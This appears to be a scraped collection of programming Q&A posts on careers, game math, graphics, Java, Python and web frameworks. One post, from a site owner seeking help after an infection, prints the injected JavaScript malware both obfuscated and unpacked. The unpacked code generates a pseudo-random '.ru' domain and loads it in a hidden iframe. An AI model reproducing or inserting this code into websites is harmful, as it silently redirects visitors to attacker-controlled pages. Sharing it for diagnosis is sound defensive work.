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  • Question about whether I should pursue minors or work towards a masters [closed]

    - by user75493
    I'm a sophomore about to go into my Spring semester in a few weeks and I am trying to decide some major things that will affect the next few years of my life and was looking for some guidance/advice. I'm currently working towards a Bachelors in Computer Science and my question was whether I should minor in Corporate Strategy and Math or just work towards a Masters in Computer Science? I was wondering if employers are more looking for Masters degrees in Computer Science or if those minors could be beneficial to me. Some things that may affect responses: I already have all my other requirements filled for graduating except my Computer Science classes, I've already had an internship this past summer and am already hearing back from several companies about internships for this upcoming summer. Thanks in advance! - Alex

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  • Is it correct to refer to a performing programming assignments as a "computer labs"?

    - by Nick Rosencrantz
    Can we say that developing an algorithm is a "laboration"? Are these "labs"? At engineering performing an exercise or an assignement is refered to as "labs" but are those "labs" when in fact it is mainly software problem solving pretty much like numeric methods in math which are not "labs". When studying engineering such as electrical engineering or physics you might do a "laser lab" or a "chemical laboration" if you study chemical engineering for instance. How do you define "lab"? Just performing something experimental? This is sort of double meaning also the physical environment at universities which we call "computer labs" that in fact are just rooms with computers.

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  • Why isn't functional language syntax more close to human language?

    - by JohnDoDo
    I'm interested in functional programming and decided to get head to head with Haskell. My head hurts... but I'll eventually get it... I have one curiosity though, why is the syntax so cryptic (in lack of another word)? Is there a reason why it isn't more expressive, more close to human language? I understand that FP is good at modelling mathematical concepts and it borrowed some of it's concise means of expression, but still it's not math... it's a language.

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  • Certifications needed to get an interview with no experience and no degree. [closed]

    - by Joel Cornett
    Possible Duplicate: Are certifications worth it? Given that I have no commercial experience to speak of -- and no undergraduate degree -- how can I best demonstrate my programming ability in order to interview for a job? How valuable are the various software certifications? Should I get the OCA? Should I submit samples of my code? Are there some other skills that I should develop? (I picked up Python and Java fairly quickly--a matter of weeks, actually.) I am a undergrad working on a triple major in math, stat and econ. I consider myself proficient with Python and have a working knowledge of Java.

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  • OpenGLES 2.0 gluunProject

    - by secheung
    I've spent more time than i should trying to get my ray picking program working. I'm pretty convinced my math is solid with respect to line plane intersection, but I believe the problem lies with the changing of the mouse screen touch into 3D world space. Heres my code public void passTouchEvents(MotionEvent e){ int[] viewport = {0,0,viewportWidth,viewportHeight}; float x = e.getX(), y = viewportHeight - e.getY(); float[] pos1 = new float[4]; float[] pos2 = new float[4]; GLU.gluUnProject( x, y, 0.0f, mViewMatrix, 0, mProjectionMatrix, 0, viewport, 0, pos1, 0); GLU.gluUnProject( x, y, 1.0f, mViewMatrix, 0, mProjectionMatrix, 0, viewport, 0, pos2, 0); } Just as a reference I've tried transforming the coordinates 0,0,0 and got an offset. It would be appreciated if you would answer using opengl es 2.0 code. Thanks

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  • How can I make a character move forward in a certain direction?

    - by Shaun Wild
    I have an entity class which is updated every game tick. Let's just assume said entity moves forward constantly. What i want to know is, how can i make it so that i can give an angle to a function and it will make my entity move in that direction. let's say for example moveForward(90); Would make my character move to the right, or for example declaring my rotation as a global Integer: moveForward(rotation); rotation++; Would make my entity move around in a small circle, I assume this includes some kind of vector math, which I haven't done any studying on so a brief explanation of that if it's necessary would be nice. I would appreciate a small code snippet and an explanation I can analyze, thanks in advanced :)

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  • How to calculate production when player is offline

    - by Kaizer
    What is the best way to do for example food growth based on how many food buildings you have? Lets say I have a webbased game where you can build a farm wich generates 60 food units per hour. A player has 1 farm in his possession. What is the best way to keep on producing these units even when the player is offline? Should I do the math when the player get's back online again? If so..how can I do this without having to save his last online time every 5 seconds so I can do some maths with it when he logs back in (datetime.now - lastonlinetime)? Next thing is when the player is online, should I refresh his resource count every 5 seconds or so by going to the database and back? This would seem weird to do for every logged on player. I hope you understand my question. kind regards

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  • Vectors with Circles Physics -java

    - by Joe Hearty
    This is a problem I've been having, When making a set number of filled circles at random locations on a JPanel and applying a gravity (a negative change in the y), each of the circles collide. I want them to have collision detection and push in the opposite direction using vectors but i don't know how to apply that to my scenario could someone help? public void drawballs(Graphics g){ g.setColor (Color.white); //displays circles for(int i = 0; i<xlocationofcircles.length-1; i++){ g.fillOval( (int) xlocationofcircles[i], (int) (ylocationofcircles[i]) ,16 ,16 ); ylocationofcircles[i]+=.2; //gravity if(ylocationofcircles[i] > 550) //stops gravity at bottom of screen ylocationofcircles[i]-=.2; //Check distance between circles(i think..) float distance =(xlocationofcircles[i+1]-xlocationofcircles[i]) + (ylocationofcircles[i+1]-xlocationofcircles[i]) ; if( Math.sqrt(distance) <16)

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  • Is programming for me? It seems too rigid and unforgiving.

    - by AM
    This question is a follow-up to: Should I continue to pursue programming based on my experience? I am currently majoring in CS in college and was thinking along similar lines as the above question. I'm fine at math and logic, but I haven't yet found programming to be enjoyable. Although I like the idea of being able to build software, too much of it seems to consist of figuring out tiny details or dealing with annoying bugs. So far I've only done small school projects and the like. Does programming become more enjoyable once you have more experience? How can someone know if a career in it is for them?

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  • Too much to learn, dealing with overwhelming varieties of technologies [closed]

    - by zhenka
    I am about to graduate, and I am already working as a web developer in our library IT department. When I look at job postings I am absolutely overwhelmed by the sheer variety of technologies out there. Some companies care about math + algorithms + data structures. Some care about experiences in technology stack XYZ. SQL, css, html, frameworks, javascript, design patterns etc.. etc... etc... At some point I realized I just need to start at mastering a foundation to become employable at a better place and go from there. But the skill-set to get me in the doors varies and I just don't have time to learn everything. How do you deal with this issue? What is the essential stack to become employable? Say in php or ror arena. Perhaps a smarter move would be to move to a technology stack with less variety like .net?

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  • Improving python code

    - by cobie
    I just answered the question on project euler about finding circular primes below 1 million using python. My solution is below. I was able to reduce the running time of the solution from 9 seconds to about 3 seconds. I would like to see what else can be done to the code to reduce its running time further. This is strictly for educational purposes and for fun. import math import time def getPrimes(n): """returns set of all primes below n""" non_primes = [j for j in range(4, n, 2)] # 2 covers all even numbers for i in range(3, n, 2): non_primes.extend([j for j in range(i*2, n, i)]) return set([i for i in range(2, n)]) - set(non_primes) def getCircularPrimes(n): primes = getPrimes(n) is_circ = [] for prime in primes: prime_str = str(prime) iter_count = len(prime_str) - 1 rotated_num = [] while iter_count > 0: prime_str = prime_str[1:] + prime_str[:1] rotated_num.append(int(prime_str)) iter_count -= 1 if primes >= set(rotated_num): is_circ.append(prime) return len(is_circ)

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  • Why is my animation getting aborted?

    - by Homer_Simpson
    I have a class named Animation which handles my animations. The animation class can be called from multiple other classes. For example, the class Player.cs can call the animation class like this: Animation Playeranimation; Playeranimation = new Animation(TimeSpan.FromSeconds(2.5f), 80, 40, Animation.Sequences.forwards, 0, 5, false, true); //updating the animation public void Update(GameTime gametime) { Playeranimation.Update(gametime); } //drawing the animation public void Draw(SpriteBatch batch) { playeranimation.Draw(batch, PlayerAnimationSpritesheet, PosX, PosY, 0, SpriteEffects.None); } The class Lion.cs can call the animation class with the same code, only the animation parameters are changing because it's another animation that should be played: Animation Lionanimation; Lionanimation = new Animation(TimeSpan.FromSeconds(2.5f), 100, 60, Animation.Sequences.forwards, 0, 8, false, true); Other classes can call the animation class with the same code like the Player class. But sometimes I have some trouble with the animations. If an animation is running and then shortly afterwards another class calls the animation class too, the second animation starts but the first animation is getting aborted. In this case, the first animation couldn't run until it's end because another class started a new instance of the animation class. Why is an animation sometimes getting aborted when another animation starts? How can I solve this problem? My animation class: public class Animation { private int _animIndex, framewidth, frameheight, start, end; private TimeSpan PassedTime; private List<Rectangle> SourceRects = new List<Rectangle>(); private TimeSpan Duration; private Sequences Sequence; public bool Remove; private bool DeleteAfterOneIteration; public enum Sequences { forwards, backwards, forwards_backwards, backwards_forwards } private void forwards() { for (int i = start; i < end; i++) SourceRects.Add(new Rectangle(i * framewidth, 0, framewidth, frameheight)); } private void backwards() { for (int i = start; i < end; i++) SourceRects.Add(new Rectangle((end - 1 - i) * framewidth, 0, framewidth, frameheight)); } private void forwards_backwards() { for (int i = start; i < end - 1; i++) SourceRects.Add(new Rectangle(i * framewidth, 0, framewidth, frameheight)); for (int i = start; i < end; i++) SourceRects.Add(new Rectangle((end - 1 - i) * framewidth, 0, framewidth, frameheight)); } private void backwards_forwards() { for (int i = start; i < end - 1; i++) SourceRects.Add(new Rectangle((end - 1 - i) * framewidth, 0, framewidth, frameheight)); for (int i = start; i < end; i++) SourceRects.Add(new Rectangle(i * framewidth, 0, framewidth, frameheight)); } public Animation(TimeSpan duration, int frame_width, int frame_height, Sequences sequences, int start_interval, int end_interval, bool remove, bool deleteafteroneiteration) { Remove = remove; DeleteAfterOneIteration = deleteafteroneiteration; framewidth = frame_width; frameheight = frame_height; start = start_interval; end = end_interval; switch (sequences) { case Sequences.forwards: { forwards(); break; } case Sequences.backwards: { backwards(); break; } case Sequences.forwards_backwards: { forwards_backwards(); break; } case Sequences.backwards_forwards: { backwards_forwards(); break; } } Duration = duration; Sequence = sequences; } public void Update(GameTime dt) { PassedTime += dt.ElapsedGameTime; if (PassedTime > Duration) { PassedTime -= Duration; } var percent = PassedTime.TotalSeconds / Duration.TotalSeconds; if (DeleteAfterOneIteration == true) { if (_animIndex >= SourceRects.Count) Remove = true; _animIndex = (int)Math.Round(percent * (SourceRects.Count)); } else { _animIndex = (int)Math.Round(percent * (SourceRects.Count - 1)); } } public void Draw(SpriteBatch batch, Texture2D Textures, float PositionX, float PositionY, float Rotation, SpriteEffects Flip) { if (DeleteAfterOneIteration == true) { if (_animIndex >= SourceRects.Count) return; } batch.Draw(Textures, new Rectangle((int)PositionX, (int)PositionY, framewidth, frameheight), SourceRects[_animIndex], Color.White, Rotation, new Vector2(framewidth / 2.0f, frameheight / 2.0f), Flip, 0f); } }

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  • OpenGL Beginner question

    - by nobby
    I'm new to OpenGL programming, but I can't find a good book to read or a tutorial, I've tried reading through the superbible or whatever its name is but it's kind of complicated to me. The tutorial at http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Chapter-2.3:-Rendering.html is pretty ok but it doesn't cover what I need mostly, which is opengl math etc (such as projection matrix, view matrix, and so on). I'm fairly OK at C(++) (3+ years experience, I don't know if you would call that "good") What i basically want to do with OpenGL is, make a simple game (prefer 2D as a start and not 3D). Please suggest a good EBook to read and learn from.

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  • What are the pros and cons of Coffeescript?

    - by Philip
    Of course one big pro is the amount of syntactic sugar leading to shorter code in a lot of cases. On http://jashkenas.github.com/coffee-script/ there are impressive examples. On the other hand I have doubts that these examples represent code of complex real world applications. In my code for instance I never add functions to bare objects but rather to their prototypes. Moreover the prototype feature is hidden from the user, suggesting classical OOP rather than idiomatic Javascript. The array comprehension example would look in my code probably like this: cubes = $.map(list, math.cube); // which is 8 characters less using jQuery...

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  • Connect divs with (non-straight) lines [migrated]

    - by Snailer
    I'd like to develop my site with a layout that looks somewhat like houses with connected plumbing, or multiple computers connected to a network. Basically, the will be boxes floating in space, with lines connecting some of the boxes. I'd like these lines to have some turns in them as well (just simple 90 degree corners) rather than just a straight line. My question is what is the best way to achieve this, and perhaps a small example. My thoughts were to use: PHP and CSS: I could create a background grid and then, with some complicated algorithms, draw paths using the grid's borders. This would be more dynamic, but I'm not sure I can plot the math all by myself. just CSS: Perhaps this is as simple as making some pre-drawn lines like L-shapes and T-junctions, then just placing and scaling them. But I don't believe there's a way to scale an image by slicing it.. so the line width would be scaled and thus each image would look different. Any thoughts?

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  • How can I ensure reasonably spaced out enemies

    - by Samuraisoulification
    I have a simple javascript game and I'm initializing their positions on the y axis using random numbers. How can I ensure that they are reasonably spaced apart? My simple algorithm is: y = (Math.random()*1000%600); However I frequently get enemies almost directly on top of each other. This is a huge problem for the game, since it's a word game and the enemies have text on their center, that if overlapped makes them impossible to kill since you can't see the words. Any advice would be appreciated! I'm pretty new to making games in general so this has all been a learning experience for me!

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  • Change player in javascript game [migrated]

    - by KLUSTER
    Game: onClick startbutton mathrandom for first player who starts the game. 4 Pictures: 2 of it player1 and player2. another 2 Player turn. need help: on button click next player turn function game(){ var PlayerTurn; PlayerTurn=parseInt(Math.random()*2); if(PlayerTurn==0){PlayerTurn=1;window.document.player1.src="Cache/Player3.PNG";} else{PlayerTurn=0;window.document.player2.src="Cache/Player4.PNG";} } Any help is appreciated.

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  • Would it be possible to make an android app like this?

    - by ThisBetterWork
    I'm fairly new to android development and I'm not sure if the functionality I have in mind for my next project is actually feasible. I wanted to make a simple study guide app...when a user is browsing the web on their phone and they come across information they want to save to their study guide they would be able to highlight the sentence,long-click the highlighted text, and see an option to add it to their study guide(a pop-up list would appear). there would be more functionality than just this, for instance with-in the app you could create different study guide topics (biology,math, English..ect). But in general is it possible to have an app that is accessible by long-clicking when your browsing the web (as opposed to opening the App manually in order to use it.) -- If not, could I make it so you can open a browser within the app to do what I've described? This is going to be a school project so I don't care if it's totally original, I just want to make something simple and practical for practice. -- Thanks in advanced to anyone who helps!! :D

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  • Can I randomly generate an endless road?

    - by y26jin
    So suppose we stand on a position(x0, y0) of a map. We can only move on the horizontal plane(no jump and stuff) but we can move forward, left, or right (in a discrete math way, i.e. integer movement). As soon as we move to the next position(x1, y1), everything around us is generated randomly by a program. We could be surrounded by one of mountain, lake, and road. We can only move on the road. The road is always 2D as the map itself. My question is, are we able to play this game endlessly? "End" means that we come across a dead end and the only way out is to go backward.

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  • System.Device.Location.GeoLocation

    - by Aligned
    Originally posted on: http://geekswithblogs.net/Aligned/archive/2013/06/26/system.device.location.geolocation.aspxA co-worker (Scott) sent out this email and it was so good I asked him if I could share it with all of you. I changed the latitude and longitude to random locations to protect the innocent. “Stumbled across this method this morning while coding all the math out by hand to calculate distances. This one is definitely worth filing away for future reference, saved me a ton of work. This was added in v4 of the framework, and is in the core framework install, so should work in services as well as client applications. var location1 = new GeoCoordinate(40.102, -94.788171); var location2 = new GeoCoordinate(50.0011, -96.699148); // distance shown is straight line meters. Console.WriteLine(location1.GetDistanceTo(location2)); Console.ReadKey();   http://msdn.microsoft.com/en-us/library/system.device.location.geocoordinate.getdistanceto(v=vs.100).aspx http://en.wikipedia.org/wiki/Haversine_formula”

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  • How can I implement smooth rotation from one direction to another?

    - by user1759052
    I'm having a problem with animating rotations with 1Matrix.CreateRotationY() with my basic 3D game. Based on where you click the mouse, I want the 3D object to rotate to that direction and then move. I am using this to determine the target direction: float rot = (float)(Math.Atan2(X, Z)); It gives me the correct value, but I am not sure how to handle the rotation animation from current direction to new direction. I've tried a few things, but to no avail. Do you guys know of any good ways of solving this issue?

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,12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Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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  • Primefaces tabview: set the active index on tab change

    - by Virgi
    I've got a tab view that contains two tab. When I switch from tab 1 to tab 2, I'm calling some code that executes a validation and updates some values. Depending on the result of this validation, I would like to stay on tab 1, or go to tab 2, and refresh the tabs' content. My tabview: <h:form id="form"> <p:tabView id="tabview" activeIndex="#{ctrl.idx}" dynamic="true" cache="false"> <p:ajax event="tabChange" listener="#{ctrl.doStuff}" update=":form:tabview"/> <p:tab title="Tab 1" id="t1"> <h:panelGrid columns="1" cellpadding="10"> <h:outputText value="#{ctrl.s1}"/> </h:panelGrid> </p:tab> <p:tab title="Tab 2" id="t2"> <h:panelGrid columns="1" cellpadding="10"> <h:outputText value="#{ctrl.s2}"/> </h:panelGrid> </p:tab> </p:tabView> </h:form> My test code that simly changes the values: public void doStuff() { s1 = String.valueOf(Math.random()); s2 = String.valueOf(Math.random()); } I thought that changing the active tab index in my method would be enough, like that: public void doStuff() { // ... idx = 0; } On tabChange event, the method is called but the tabview components goes to the clicked tab, ignoring the idx new value. I thought adding an update attribute to p:ajax would render the whole tabview but only the tabs and/or the tabs' content is re rendered. And weirdest of all, if I change update=":form:tabview" to update=":form" or update="@form", I only receive the tab's content in the ajax response - the component disappears from the page! My bean is viewscoped, I'm using Primefaces 3.5, JSF 2.1 and Tomcat 7. Any idea? Thanks.

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  • Drag and drop in as3 on specific path (ex bezier curve)

    - by abinop
    I need to implement a drag and drop functionality, where I can define and constraint the route of the draggable object. Like in http://www.kirupa.com/forum/showthread.php?t=330302 , only that i have the paths designed and not calculated by a math function. So, in fact, as mouse moves I need to tell the object to follow the custom path/movieclip.

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